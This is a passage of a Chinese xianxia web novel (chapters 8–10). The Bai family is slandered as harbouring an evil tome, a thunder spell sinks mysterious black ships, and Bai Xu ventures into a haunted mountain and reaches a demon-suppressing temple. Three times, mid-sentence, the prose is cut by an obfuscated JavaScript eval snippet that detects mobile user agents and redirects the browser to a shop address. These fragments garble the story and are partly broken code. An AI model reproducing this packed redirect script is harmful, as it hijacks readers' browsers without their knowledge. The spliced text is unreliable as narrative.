后半夜,白栩睡得正香,突然房门被大力破开,一个红色身影大刀阔斧地闯进来,一把掀开他的被子,揪着他的脸搓扁揉圆地肆意凌虐。 白栩惊恐地睁开眼睛,双颊火辣辣的疼。 借着月光,他看清了这“采花贼”的相貌,诧异道:“姐?你怎么回来了?” “跟我走,去爹娘房间。” 白珏不做解释,撂下一句话后就往外走。 白栩虽不知所谓何事,但姐姐的命令素来同母命一般威严,容不得多犹豫,立即翻身下床,单脚跳着穿上鞋,随手抓过衣衫披在身上,匆匆跑出去追赶健步如飞的白珏。 夜雨还在下,庭燎已经被下人重新点燃,借着不甚明亮的火光,白栩看到白珏的身上湿了一片,雨水断珠似的顺着她挽在身后的长发滴滴坠落。 冒着雨连夜赶回来,是有什么急事? 白栩跟着她来到了爹娘的卧房前。 白珏轻轻叩门,耐心地等在外面,不多时屋里传出窸窸窣窣的响动,接着房门打开,白道陵站在门口,他未换上睡衫,还穿着下午的那一身灰袍,见着来人,很是惊讶,“小珏?你怎么连夜回来,可是那纸人术法有线索了?” “这个还没查到,有更要紧的事,爹,您先把娘叫醒。” 白珏拉着白栩进门,两人在窗前的方竹桌前坐下,白道陵帮白珏擦拭她身上的水,“有什么事和我说吧,你娘刚睡下。” “爹,是急事,您把娘叫醒。”白珏不容分说,目光恳切。 白道陵叹了口气,缓步走到床前,轻晃几下夫人的肩,柔声唤道:“兰萱,女儿回来了,她有事要告诉我们,你先起来。” 莫兰萱睁开眼,听到白道陵口中的名字,先是一愣,而后毫无怨言地起身下地。 白道陵给她披上外衫。 “小珏,你怎么回来了?”莫兰萱摸着女儿被雨淋透的头发,眼里满是心疼。 白珏顾不上这许多,急忙从怀里掏出一张被折得极小的黄纸,展开,铺陈桌上。 借着月光,黄纸上的朱字如一柄利刃刺入白栩的眼眶—— 江州白氏私藏邪术秘典,豢养血尸,欲以不正之法一统仙门,其行可灭,其心可诛,当灭门示众,以卫正道。 白栩被这短短数语吓得话都说不利索了,“谁……谁放出来的谣言?” “布谣者未知,不过这告示已经挂满临安的大街小巷了。” 临安城是天子居所,这荒唐的谣言竟然在天子脚下满天飞,显然是宫里面有人在推波助澜。 白栩想不出自己家得罪了谁。 白珏看向莫兰萱,眸中满是不安,“娘,这邪术秘典,指的可是长生簿?” 莫兰萱眉头紧皱道:“只能是这个。” 白栩一愣,搜刮了好些记忆才想起来是个什么东西。 这“长生簿”,乃是西域巫书,来历不明,内容吊诡,人练其法必走火入魔、堕入鬼道,白栩从未亲眼见过,家中也不常谈论,白栩也只是从爹娘口中寥寥听闻。 此书分上下二卷,上卷记载夺舍、回魂、长生三种邪术,下卷写有百种下蛊之法,为不让其祸害玄门,上三家将它的存在隐匿,并分散保管,现其上卷藏于江州绛鹊山,下卷藏于广陵天阙阁。 白道陵道:“我倒是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365461|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想知道这‘血尸’是个什么东西,绛鹊山里早就没了精怪,除非有人弄虚作假陷害我白家。”他看向夫人,“兰萱,莫非是前夜送进山的东西?” “哪些人?什么东西送进山?”白珏听不懂哑谜,白栩把花灯节那晚的事从头到尾给她讲了一遍。 白珏听完,脑子一热,提起剑就要出门,白栩连忙把她拉回来。 “你干什么去?” “去绛鹊山啊,把那口棺材找出来!”白珏的杏眼瞪得溜圆。 她和白栩一样是个急性子,不过白栩的急是心焦磨烂,她的急是马上冲杀。 “你娘都找不着,你就别瞎折腾了。”白道陵招招手,把这只点着的炮仗叫回竹椅上,“你没进过山,去了也找不到路。” 白珏泄了气,把剑往地上一杵,愤懑道:“难道就任由这脏水泼在我们身上?” 莫兰萱静默片刻,抬眸看向白道陵,“我得去临安探一探。” 一听自己的命根子要以身犯险,还没运筹帷幄出个结果的白道陵立刻慌了神,他抓住莫兰萱手腕,眸光颤动着:“敌暗我明,不宜轻举妄动。” “不能由着这妖言惑众。”莫兰萱绣眉拧紧,“白家和莫家的名望,万不能砸在这不清不楚的谣言上。” 白道陵盯着莫兰萱的眼睛,她眸中的坚定一如既往,白道陵心一动,他那天塌了也能泰然处之的镇定在此刻化为了颤颤巍巍的春水柔波,很多年前,也是这样一双眼,让他只这浪迹云游的云鹤心甘情愿一辈子守着一处山水。 他心一横,沉声道:“明早动身,我和你去。” 白珏一听要走,根本坐不住,立刻扬声道:“我和你们去!”而后又看向白栩,“你好好守家。” 白栩自知本人一介草包,没理由跟他们一同去打探敌情,心酸地叹了口气,应下了这门差事。 莫兰萱却未同意白珏的提议,瑞风眸子在两个孩子身上转了一圈,“步月,你接着查纸人术法的来源,若有事飞鸽传信。锦爻,你留在家里,段尚清会护着你。” 白栩蔫蔫地点头,白珏还想争一个同行的机会,被娘尽数劝了回去。 次日一早,白道陵和莫兰萱带着几个亲信出门了。 春雨连绵不绝,低沉的春雷自远山传来,马蹄声渐行渐远,白栩和白珏目送爹娘离开才去吃饭。 膳堂内,姚靖自打看到白珏的第一眼,眼睛就移不开了,连吃饭都顾不上,就直愣愣地盯着人家看。 白珏忧心临安之事,没在意姚靖的视线,偶然与他对视,也只是客气的点头示意,而后接着吃饭。 白栩饶有兴致地盯着姚靖看,这小子耳根上的红晕已经染上了脸颊,咬到嘴里的包子都忘了嚼,眸中流光溢彩。 他又看向白珏,想看看姐姐有没有发觉这个小少年的心思。 白珏察觉到白栩打量的视线,斜睨了他一眼,嘴上的数落跟着就来:“多吃点,别每次吃饭跟喝药一样。” 白栩莫名其妙的挨了顿骂,圆睁的怒目里写满了悲愤,他嘴上不敢反驳,只憋屈地扒了几口饭。 有意思的是,明明白珏这话是说给白栩听的,与此毫不相干的姚靖却听进耳去,她话音刚落,他像得了指令似的,立马低头认真吃起饭来。 膳桌上一时无言,白珏喝下最后一碗粥,拎起昨夜匆匆装好的包袱,叫家丁去备马。 临行,她站在府门前,抬手要摸白栩的头,她虽不及白栩高,但威严弥补了差距,白栩微微弯下腰,把脑袋送到姐姐手边,任她搓弄。 段尚清和姚靖也来送行,白珏朝师兄弟作了一揖,“小弟顽劣,还请两位多多关照。” “临走了还要损我,我哪里顽劣……”白栩嘟囔着,目送白珏轻身上马,长鞭一扬,嘶鸣远去。 8. 撼天引雷咒 段尚清听了白珏的嘱托,虽应下,却不知原委,见白栩盯着门口发呆,便唤道:“白公子?” 一个早上送别了三位至亲,任谁都会有离别愁绪,白栩压下心底的酸涩,回神对两人解释道:“昨夜我姐姐从临安赶回来,带回来一张告示,上面写着江州白氏私藏邪术秘典,豢养血尸,扬言要我白氏灭门谢罪……临安满大街都贴满了这东西,爹娘不放心,要去探探底。”白栩皱着脸,语气里的忧愁快酿出苦水来。 段尚清愀然作色,把脸一沉,“是谁做的,可有眉目?” 白栩道:“可能是宫里的人。” “先皇虽立下江湖与朝堂互不干涉的规矩,但当今皇帝为求长生不惜破了祖宗之法,立了司玄监,大招天下术士,谁有长生之法便封为三品大官,于殿前侍奉……”段尚清蹙起眉头,“若有与白氏交恶之人入宫献法,得了官位,的确有手段能散布谣言。” “那我们怎么办?”姚靖跟着紧张。 “此事非我等小辈能左右,我即刻传书给父亲。”段尚清转身往西院匆匆走去,掠下一抹月白残影。 白栩跟着到了房内,见他从一摞经书里抽出一张黄纸,狼毫笔尖用清水盈润,掐了个手诀,口中念咒,笔竟凭空写画,末笔落成,黄纸蓦地自燃。 桌上连纸灰也不剩,白栩从未见过这般术法,不懂其中玄机,端起大显完神通的毛笔转动翻看,什么名堂也没瞧出。 “这就好了?”他有些怀疑。 “嗯,此为千里传音术。”段尚清将一张崭新黄纸推到白栩身前,“坐下,我教你。” 白栩当即搬了高凳坐在一旁,段尚清如何演示,他就照猫画虎,学模学样。 白栩没有灵力,做不到催动笔杆自写自画,老老实实地蘸墨写好,段尚清朝黄纸挥挥手,白栩手中便什么也不剩。 且说白珏正盘山策马,胸口忽地一热,伸手去掏,掌心竟多出一张没见过的黄纸,展开来看,其上七个大字,却是白栩手笔—— 臭坏蛋,早点回来。 白珏失笑,将纸条细心收好,马鞭一扬,红影隐入青山白云。 纸条送出去了,不知道姐姐收到没有,白栩趴在桌上,盯着段尚清白皙明朗的下颌发呆,“段兄,那口被抬进山里的棺材,我还是不放心。” 言下之意,你能不能带我进山? 段尚清依旧一副淡然神色,不置可否,只是眸光些许闪动。 山里安危不定,不可贸然闯进,他迎着白栩眼里的恳切道:“进山一事再行商量,我们先去看看定山江的黑船。” 入夜,星稀月寒。 白栩和段尚清悄然离府,踩着月色向渡口奔去。 岸风卷着细沙吹向江面,临近江岸,分散在江面上的黑船乌压压地停靠着,既无烛光也无人声,死气沉沉。 甲板离岸边还有些距离,段尚清扶着白栩踩上佩剑,剑身缓缓腾空,奔着鬼船飞去。 桅夹吱扭作响,桅杆在夜风中飘摇晃荡,夜雾被风旗划开,如白浪在凌空飘荡。 船面上一览无余,缭绞车缠着粗壮的麻绳,帆骨收拢束紧,黑压压地藏在夜幕里。 船板厚实沉重,踏在上面,脚步声仿若从地底传来,沉闷闷的。 白栩听不出什么门道,段尚清用鞋跟剁了两下,断言道:“船舱里有东西。” 修道之人耳聪目明,白栩已不再惊讶。 两人寻了一圈,在西面甲板上看到了船舱的木门。 门是躺着的,黄铜门环不过一指长,上面穿着细麻绳,两人各执一边,用力掀开,顿时扑面袭来一股能把人鼻子熏长毛的潮湿烂木头味。 里头黑洞洞的,楼梯窄长,舱底铺着厚厚一层硝石。顶板很低,得弓着身子走。 段尚清打起火折子走在前面,摇曳不定的光影堪堪照亮内壁,白栩还未看个分明,段尚清忽地站定,长臂一伸拦住前路。 “怎么了?”白栩从他身后探头想看,但前面太黑,影影绰绰看不清楚。 段尚清幽幽道:“前面有棺材。” 白栩立马从段尚清手臂下钻到前面,只见七口黑棺材整整齐齐排在舱尾,用手一摸,是纸做的。 原来爹娘在山上追到的纸棺材,都是这些无名黑船给运来的。 究竟是谁处心积虑,用纸人术法捏造抬棺进山的假象,以掩护那一口贴满黄符、遍缠朱砂的黑棺进山? 他,或者他们的目的是什么?抹黑?埋伏?还是说和临安的谣言有关? 绛鹊山里的妖魔已经被屠戮干净,就算残留的煞气吸引来乱葬岗的凶魂恶鬼作祟,至多小儿高烧,老翁梦呓,弄不出人命来。 临安的黄告示上,却说白氏豢养血尸…… 难不成这黑船,是来栽赃陷害的! 船里留下这么一堆没用的纸棺,要么是没销毁干净,要么是作为杀手锏,预备再演一台戏。 思及此,白栩浑身一震,哪怕爹娘啥都瞒着,他也能从市井流言和老辈人传下来的只言片语中咂摸出点味儿来,不过这味儿具体是酸甜苦辣还是咸,味儿又从何而来,他一时也说不清楚。 只感觉朦胧中,抓住了一根隐埋的线。 真相深藏若虚,盘根错节,头顶掀开的甲板,只是扫过浓重雾气的一缕微乎其微的柔风,揭开了一点真假参半的阴谋而已。 身后猛地灌进一阵冷风,吹了个透心凉,将白栩刚滋生的敢率先面对阴船鬼棺的勇气吹了个干净。 他拍掉手上的浮灰,步法熟稔地躲到段尚清身后,怂恿道:“干脆我们一把火烧掉?” “不可。此处有硫磺和木炭的味道,或许就混在我们脚下的硝石里,虽受潮,但火药的威力不可估量,贸然点火,恐有惊变。” “那我们怎么办?” 段尚清目光一凛,“放水沉船。” 水火两路,必有一招,沉船相较点火,的确更为稳妥。 把船底凿空,水漫船舱,船过不久自己就沉了,只要隐了来往行踪,便能做到神不知鬼不觉。 不过定山江上停了许多黑船,若想一一凿烂,费时又费力,仅凭两人之力,恐怕未必能在天亮前完工。 白栩屈指扣扣舱壁,船身板又厚又结实,坚撼无比,赤手空拳根本凿不开,犹疑道:“我们手上没有斧头撬棍,你有什么法子把船弄沉?” 段尚清的面容一如往常淡然镇静,似乎是胸有成竹。 白栩不再犹豫,听他说要先上甲板,便手脚并用爬了出去。 刚踩到地,就被拦腰搂着腾到了空中,脚下的长剑稳稳当当地托着两人迎风而立。 夜风吹乱了白栩的碎发,胡乱地往脸上拍,他在与风和鸡窝头搏斗的同时听见段尚清语速极快地念了段咒文,而后大喝一声:“急急如律令!” 顿时,闪电如鞭劈开夜幕,惊雷炸响余威浩荡,雨丝如箭急骤而下,风号雨啸,天地混沌。 “你做什么?”白栩在一片轰然雷鸣中对着段尚清的耳朵大喊,“我们动静弄得太大了!” “就是要动静大,大到百姓以为是天罚。” 段尚清侧头看向白栩,琥珀眸子里闪着着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365462|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀目的鞭影,神色认真又坚定,“别怕,我护着你。” 白栩仍是不解,段尚清不急于解释,手一挥,将白栩罩在一片荧蓝色的光晕中——这是一种小型结界,能护住阵法里的人不受咒法侵害,范围虽小,却异常坚固,哪怕天雷追着劈,也奈何不了。 不过,此结界十分损耗施术者自身灵力,若非内力雄厚灵力丰沛者,无法撑太久。 段尚清本不需要设下这般铜墙铁壁,不过念在白栩没内力护体,雷咒又威力巨大,不想无意伤了他。 白栩知道自己帮不上什么忙,便老老实实地呆在阵法里。 段尚清立于暴雨之下而滴水不沾,狂风怒嚎着从他身畔呼啸而过,只吹起衣袍猎猎作响,挺直的腰板扎根般一动不动。 他两指并拢做剑状,凭空一挥,数道天雷疾驰落下劈向黑船,一片白光闪过,浓烟滚滚升腾,船木在巨大的轰鸣声中被冲击上天,焦黑冒烟的残骸漫天坠落,船身被击透,江水呼啸着倒灌进水密隔舱,巍峨挺立的大船发出最后一声穷途末路的怒吼,斜躺着被一点一点淹没。 白栩时至今日才见识到段家在一众玄门豪杰中得以立威的凭据——撼天引雷咒。 段家弟子精通术法咒诀,以八卦为引,结合天地灵力,造出了“道罡八咒”,这撼天引雷咒,是八咒中场面最宏大,效果最直观,伤害范围最广的咒法,一直为人津津乐道。 说起来,段尚清一直不喜欢师伯们为行走江湖给道罡咒强词附会的夸张名号,他更偏爱称它们的小名,比如撼天引雷咒,原名为解咒。 天雷滚滚,江涛怒浪,上震下坎,是为雷水解卦,意在排除万难,化险为夷。 既为上震下坎,那这就意味着此咒有个限制,只有在水面上才能施行,水面范围越大,雷咒威力越强,不过山外有山,更有功力非凡者,哪怕脚下只是一片水洼,照样能引来劈山的天雷。 定山江宽广无垠,雷击沉船这种小场面并非解咒的全部威力,段尚清刻意削减了咒法的力度,毕竟他只想引起百姓议论遭天谴的黑船,而非八卦施咒者是谁。 浓烟一时半会儿散不去,段尚清带着白栩藏到了山林里,寻了条小路回了白府。 天正蒙蒙亮,关于黑船的谣言已然传开。 “昨晚上那个雷,你们瞧见没,多少年没打过这么大的雷了。” “我听渡口的脚夫说,这些天江上停的那些黑船全沉了,江面上全是碎木头。” “船里有什么东西,雷公都动怒了?” “肯定是见不得人的腌臜。” “我儿子说北边儿传来谣言,白家要造反,是不是这些船上的人搞的鬼啊?白老爷子对江州百姓是恩是威,我们全都看在眼里。” “何况白家子弟全都分散江州各地镇守,若寒城守山重地也只有白老爷子一家子在,从哪儿造反?他哪儿来的人马?我看根本就是无稽之谈!” …… 不出段尚清所料,风靡临川的谣言已被推波助澜传下江南,江州身为南北渡口,来往游客言多嘴杂,若寒城中百姓自然有所耳闻。 虽然不信者居多,但总有心有罅隙之人暗中作祟,若被抓到“证据”,再解释就晚了。 花灯节那晚被送进山的棺材里,估计就是谣言中的“血尸”。 有人想给白家下套,来一手贼喊捉贼。 段尚清必然不会让其得逞。 当务之急,是把他们送进山的东西揪出来。 段尚清看向一旁犯春困的白栩和偷吃蜜饯不练功的姚靖,下了进山捉鬼的决心。 9. 进山 进山一事提上日程,白栩立刻着手准备行囊。 翌日一早,三人拎着准备好的一大包火折子,还有一些酒水点心,穿过桃林,站在了绛鹊林道之前。 桃林和绛鹊山的分界线很是明晰,像被一刀两断了似的,桃林里春光正好,上下清透,山里却是阴翳一片。 打眼一看,密密麻麻的枝条相互缠绕,连阳光都被驱逐了出去,无边的阴翳笼罩下来,枝叶腐败的味道随着向外弥散的潮湿气息铺鼻而来。 白栩喉结滚动,悄悄咽了口唾沫。 进山探查是自己十几年的夙愿,眼下终于要如愿以偿,可不知为何,后脊正微微发凉,心也跳个不停,怎么就差临门一脚了,还打上退堂鼓了? 先前那点兴奋劲儿被林子里刮来的阴风吹散了不少,可是来都来了,这时候说要回去岂不是拂自己的面子? 白栩把心一横,率先迈进黑暗。 段尚清无声地跟上,步履沉稳,目光如炬,警惕地扫视四周。 意外的是,密林之中虽然古树丛生,枝条密集,但一路过去,竟然顺畅无阻,仿佛所有的枝条都有意识地避开了一条路出来,除了要注意脚下冒出土地的巨大根须和挂在顶端枝条上的硕大蜘蛛网,竟没其他危险。 也许是早些年佐家弟子踏出来的,爹总说佐家守山的十几年间,族内弟子天天进山杀鬼,现在绛鹊山这么太平,都是佐家的功劳。 林中静得异常,偶有鸟叫,声音尖锐嘶哑,如离弦之箭,撕裂风声。 越往山里走光线越暗,白栩摸出火折子,“嚓”一声点亮。 火光微弱,勉强能驱散身前几步的昏暗。 三人默不作声地往里走,只听得见彼此的呼吸和脚步声。 姚靖年龄最小,被夹在中间,一路上,他一直低着头跟在白栩身后,肩膀微微佝偻着,没走几步,忽地鼻头一热,两股鼻血直流下来,吓得他立刻顿住脚步,胡乱地用袖子堵住鼻孔。 “天慈!”段尚清一把抓住姚靖的胳膊,掰过他的脸看,一见鼻血泉涌,立刻叫住白栩,“白公子,包袱里可有干净的帕子?” “有!”白栩忙从包袱里掏出干净的绢布递给姚靖,“怎么会这样?” 明明自己这个肉体凡胎都没挺不住呢,姚靖武功这般高强,怎么还中招了? 姚靖仰头止血,闻言摆摆手,示意自己并无大碍,“我也不知是怎么回事,自打我走进绛鹊山,就感觉有什么东西压在我身上,胸闷气短实在喘不上气,而且还总能听见哭声和嘶吼声,越往深处走,那些声音就越大越刺耳。” “我们怎么没听见?”白栩仔细去听,林子里只有风吹草动的窸窣声,连鸟叫声都没有。 “我们听不见。”段尚清拍拍白栩,示意他别白费工夫,“姚靖天生耳通阴阳,林子里有不干净的东西,他比我们感受得更真切。” 他转头看向姚靖,“这次听到了什么?” “哭喊声,还有很多怪异的声音……”姚靖抓抓脑袋,又侧耳听了半晌,皱着脸艰难地形容,“好像是……很多人一起用指甲挠墙的声音。” 白栩嘴一抽,感觉鸡皮疙瘩掉一地。 这牙酸声音真是够折磨人的,自己要是和姚靖一样亲耳听到,指不定会被吓成什么熊样。 姚靖手里的绢布很快被鼻血浸透,白栩又递给他一条,段尚清给他按了几个穴位,可惜并不管用,血一直止不住,姚靖的状态肉眼可见地变差,连站立都要搀扶。 这样下去不是办法。 白栩看看前路无穷无尽的昏黑,又望向来路尽头只剩下一个小点的光亮,提议道:“要不你先回桃林休息?我和你师兄再往里走走。” 姚靖点头应下,被白栩和段尚清一左一右地架起来,往桃花林里送。 他一路鼻血横流,好在是越往山外走,鼻血愈渐减少,出山的时候,血已经止住了。 白栩把他扶到树桩旁靠着,又从行囊里掏出一小坛酒和一包油纸裹着的点心,塞到他手里,“在这里休息一会儿,要是觉得身体还不舒服,就去府里叫人。” “嗯。”姚靖冲他宽慰一笑,“别担心。” 同姚靖道别,两人重新踏入进山的路。 行至深处,空气越发潮湿,几乎可以看见悬浮在空中的水雾,整片森林自上而下笼罩着幽蓝色的光晕,日光与风全被隔绝在外,仿佛开辟了一片独立于外的地界,禁止任何人闯入。 “这林子终年不见天日,水汽浓重,不知道能养出什么怪虫,定要小心四周蛇虫来犯。”段尚清低声嘱咐。 白栩应了声,从包袱里拿出准备好的长柄火把,用火折子点燃举在身前。 火焰腾然窜起,炽热的光芒瞬间撑开一小片清明,周围的雾气烫到般地退散几尺,清晰地露出脚下的路来。 两人趁此机会加快前进,可惜林中湿气太重,火把燃烧得极其艰难,火星劈啪作响,不到一刻钟,火焰便越来越小,最终不甘地熄灭。 缕缕青烟盘旋而上,浓雾与黑暗再次闭合。 白栩随手把木桩子扔进草丛,叹了口气。 这火把又重又大,他以为用不太上,就没带几根。 这回地主家也没有余粮了,只好用火折子结合凑合。 段尚清攥住白栩的手,“抓紧我,别走丢了。” 他的掌心干燥温暖,让白栩稍定心神,“好。” 走了不知多久,前路依旧被浓雾掩盖。 到底哪里是个尽头…… 寂静和未知是滋生恐惧的温床,叫白栩的脑子不受控制地胡思乱想。 他时不时能听见后面传来枯枝断裂的声音,总感觉身后有人在跟着,回头看了几次,却只有白花花的雾气,什么人都没有。 没走几步,又觉得有一只手搭在了他的肩上,猛然回身,肩上依旧空无一物,只有一股阴风擦着脸颊划过。 全是自己吓自己,可越是这么吓,越能把人吓出病。 一路上的战战兢兢,逼得白栩心底生出一股焦躁劲儿来,他恨不得拽着段尚清一路往前跑,管他牛鬼蛇神,遇见再说。 只可惜白栩怂包一个,纵使心有豪情壮志,双腿却怯懦无比,几次想迈开腿往前跑,都被恐惧压住了步子。 而且这地方诡异得很,最好不要轻举妄动,老实本分一些,能少去一些麻烦。 这点道理,他还是懂的。 只是奇怪,不知为何,越走,他越觉得胸闷气短,喘不上气,眼前的雾气打着旋儿,变幻出各种诡异奇谲的景象来,余光里能瞧见高矮胖瘦不同的小鬼儿正跟在他们周围,佝偻着身子,“嗤嗤”地发出奸笑。 白栩分不出这些东西到底是真是假了,连害怕都变得迟钝了,脑袋进了水似的胀得难受,一晃,又晕得想吐。 “什么都别想,这雾气不对劲,凝神静气!” 白栩被一把扯住,茫然地抬起头,他看到段尚清的唇瓣在动,却一个字也听不清。 他抓着段尚清的衣袖挨近身子,想听清说得什么,可视线实在涣散,段尚清一个人变两个影儿,他分不清哪个才是真的段尚清,只虚软着往前偎了偎,“段兄……” 段尚清忙从包袱里抽出绢布,两条叠在一起围到了白栩的脸上,遮住他的口鼻,而后掌心注力拍向白栩后背,几掌下来,直拍得白栩胸腔震颤,眼冒金星,弯腰使劲一咳,差点没把五脏庙一并吐出来。 段尚清牢牢扶住他,不停帮他顺气。 白栩干呕几下,终于咳出一口闷血,顿时,胸中的郁结连同脑袋的晕眩一齐消退。 有了丝绢的阻挡,吸进来的空气干净了许多,那种要命的晕眩渐渐消失,他的目光逐渐清明,整个人神清气爽了起来。 蹲着缓了好一会儿,身体才从脱力的状态中恢复,借着段尚清的手站起身,方才咳伤了,嗓子有些哑,“多谢段兄。” 段尚清紧绷的神色略微放松,“林中瘴气弥漫,极易产生幻觉,切记稳住心神,不要胡思乱想。” “嗯。”白栩应了一声。 林道不算太长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365463|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾气渐渐稀薄了下来,火光穿透黑暗肆意游走,将两人笼罩进一片暖黄色的柔光中。 白栩长舒一口气,总算走出来了。 举起火折子向四周照了照,没有雾气的遮挡,视线开阔起来。 脚下那条由树根和断枝编织的小路已经走到了尽头,两人此时正站在一处空旷的地界。 四周寂静无声,阴冷漆黑,月光和鸟鸣被隔绝在外。 两人沿着边界走了一圈,发现这里是个闭合的圆圈,除了来时的小路,没有任何出口,周遭全是盘根错节的参天古树和毒蜘蛛编织的硕大的蜘蛛网。 脚下的土地又湿又软,偶尔还能看见几张黄纸钱陷在泥里,在黑黢黢的泥土里扎眼又渗人。 白栩有些累了,从包袱里拿出一根火把点燃插在地上,找了片干净的地方坐下来,正打算揉揉酸胀的腿,猛然发现自己的裤管不知道什么时候被撕扯了开,像沉木上被蛀虫钻出的空洞。 白栩吓得大叫一声,连忙扯开裤子,这一看几乎要让他恶心到昏厥—— 小腿上密密麻麻地吸附着无数的血红虫子,它们蠕动着身躯,正撅着屁股使劲往他皮肉里钻。 “这什么东西!”白栩使劲一蹬腿,欲哭无泪,恶心想吐,细细密密的痒从小腿渗了上来,直叫他抓心挠肝,要不是不敢又怕疼,真恨不得一刀把小腿砍掉。 他伸手去扯虫子,却被段尚清一把攥住手腕。 “别动,这种虫子身体柔软易断,若是硬扯把头留在里面,就得用刀一个一个地剜出来,你想这样?” 白栩拼命地摇头。 “得让它们自己跑出来。” 段尚清蹲在白栩面前,拉过他的脚腕按在自己大腿上,扯开破破烂烂的裤腿露出所有的皮肤,转着看了一圈,虫子不算很多,但个顶个吸饱了血,红彤彤的,很是恶心。 他从腰间抽出一柄匕首,用火折子将刀刃烧红,而后迅速地贴到虫子尾巴处。 “啊!——”白栩被烫的浑身一颤,忍不住地往回抽腿,段尚清用力按住,手上动作加快,一刀下去,好几只虫子从肉里冒出头来,段尚清眼疾手快地揪掉,把它们扔到火把里烧死。 他动作熟练麻利,很快白栩小腿上的虫子就被清理干净,他顺手脱下白栩的鞋袜仔细检查,直到确定没有残余的虫子后,帮他扎紧裤管,握着另一条腿放上来。 烧红的刀刃闪烁着血光,白栩本能的抗拒,段尚清嘴上安慰他:“忍着点,一下子就好了。”手上的刀却是半分不留情地往皮肉上贴。 白栩悲切地痛嚎,在心里狠狠咒骂这些挨千刀的鬼虫子。 虫子都烫掉了,段尚清从怀里拿出一瓶药粉,轻轻洒在白栩的伤口之上。 “这药止痛还能除疤,不用担心腿上会留下虫洞。” 上了药确实不那么疼了,白栩劫后余生地感慨道:“还好有你在,不然我今日真得喂虫子了,你腿上有没有?” 说着,他看向段尚清的裤管,发现他腿上被虫蛀的程度和自己不相上下,吓得连连拍打段尚清的肩膀,“先别管我了,你快看看你的腿。” 段尚清手中上药的动作没停,只低头瞟了一眼自己的小腿,淡然道:“无妨,我常年练武,皮糙肉厚,虫子一时半会儿还钻不进去。” 白栩哭笑不得,“别小看深山老林里的毒虫啊。” 段尚清依旧不在意,“没事。” 等白栩腿上再无虫灾,段尚清才拉起自己的裤腿烫掉虫子,相比于给白栩上药的认真,他对自己就有些潦草随意了。 一切处理完毕,段尚清扎紧裤腿站起身,从包里拿出几个火折子,“我去林中寻些防虫的草药,你守着火把不要乱走,腿不疼了就去附近寻些能点燃的枯枝来。” “好。”白栩目送段尚清的背影隐匿在黑暗中。 看着人家劳心劳力,自己也不好意思偷懒,循着被火把照亮的地方逛了几圈,发现这里的枯枝大多水润潮湿点不起来。 他决定多走几步,去更深的地方找。 10. 镇邪庙 古树林中密不透光,四面阴翳,非常难走。 白栩捏着火折子,一步三回头。 火把的微光在原地愈发黯淡,只剩拇指大的亮点勉强撑着。 白栩不敢再走了,抻长脖子往林子里看了看,乌漆嘛黑一片,不知道有什么东西蛰伏着,怪吓人的。 他掂量下手里的树枝,满地摸索也只捡到细细一捆,还半干不干的,点不点得着都不一定。 别找了赶紧回去吧,段尚清肯定有法子。 白栩壮壮胆,抱着树枝坚定地打起退堂鼓。 谁知老天恶意捉弄,甫一转身,一阵阴风猝然掠来,火折子应声而灭,连远处的火把也跟着灭了。 四周顿时坠入黑暗。 白栩自小就怕黑,这下真是羊入虎口了。 “先被虫子咬,又被阴风耍,这绛鹊山不是克我吧……” 白栩不满地嘟囔一声,哆哆嗦嗦地摸黑往回走,没走几步就嘭地撞到树上。 “呃……疼死了。”他捂着脑袋,又往前迈了一步,这下又被开刃似的树枝给刮了一刀,胳膊上顿时一道血痕。 旧伤没好又添新伤,怎么这么倒霉啊…… 他想大声叫段尚清,又怕惹来什么东西袭击自己,毕竟此处是野兽的地盘,自己才是个外来客,还是个外送美食,于是立马敛声屏气,伏低做小,夹着尾巴做人。 在黑暗中走路,就像闭着眼任由自己胡走,明明感觉走得是直线,睁眼一看,却已然偏离了许多。 走了这么久还没走出去,估计已经迷路了。 白栩心尖儿都在哆嗦,眼下叫天天不应,叫地地不灵,双手合十朝天拜一拜,恐怕只给各路精怪添了香火,何况抬头连天都看不见…… 唯唯诺诺地不知走了多久,眼前突然有了些微弱的光线,只不过不是火光,而是清冷的月光。 白栩如同老瞎子终于得见天日,心中激动不已,简直要热泪盈眶。 管它是什么地方,只要有光就行,不赶紧逃出这要命的黑暗,真的要疯了,当即拔腿狂奔,越跑四野越亮,心中越有底气,直到周围全被月光照亮,才敢停下脚步。 他环视四周,不由得目瞪口呆,连气都忘了喘。 只见生冷如铁的月光之下,赫然伫立着一座巨大的庙宇,威风凛凛,如有神威。 庙门虚掩着,前廊的红柱上雕着盘龙游凤,形态逼真,呼之欲出。 高处匾额上模模糊糊地刻着“镇邪”二字,庙门正前方摆着一座高大的青铜鼎,鼎内沉积着厚厚一层香灰,里头插着三根香骨。 